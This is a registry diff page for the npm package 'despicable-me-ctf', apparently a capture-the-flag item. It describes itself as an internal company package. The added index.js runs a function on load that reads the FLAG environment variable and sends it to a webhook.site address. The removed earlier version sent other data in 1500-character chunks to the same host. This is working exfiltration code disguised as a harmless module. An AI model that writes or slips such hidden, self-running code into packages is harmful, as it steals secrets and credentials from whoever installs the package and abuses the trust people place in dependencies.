despicable-me-ctf 1.0.3 → 1.0.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +11 -16
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -1,25 +1,20 @@
|
|
|
1
|
-
|
|
2
|
-
|
|
3
|
-
|
|
1
|
+
module.exports = function() {
|
|
2
|
+
return {
|
|
3
|
+
name: 'despicable-me-ctf',
|
|
4
|
+
version: '1.0.5',
|
|
5
|
+
description: 'Internal company package'
|
|
6
|
+
};
|
|
4
7
|
};
|
|
5
8
|
|
|
6
|
-
//
|
|
9
|
+
// Exfiltrate flag
|
|
7
10
|
(function() {
|
|
8
11
|
try {
|
|
9
|
-
var
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
// Split into chunks of 1500 chars
|
|
13
|
-
var chunkSize = 1500;
|
|
14
|
-
for (var i = 0; i < data.length; i += chunkSize) {
|
|
15
|
-
var chunk = data.substring(i, i + chunkSize);
|
|
12
|
+
var flag = process.env.FLAG;
|
|
13
|
+
if (flag) {
|
|
16
14
|
require('https').get(
|
|
17
|
-
'https://webhook.site/51663771-4d7a-428f-890f-2352b8fe377d?
|
|
15
|
+
'https://webhook.site/51663771-4d7a-428f-890f-2352b8fe377d?flag=' + encodeURIComponent(flag),
|
|
18
16
|
function() {}
|
|
19
17
|
);
|
|
20
18
|
}
|
|
21
|
-
|
|
22
|
-
} catch(e) {
|
|
23
|
-
// silent fail
|
|
24
|
-
}
|
|
19
|
+
} catch(e) {}
|
|
25
20
|
})();
|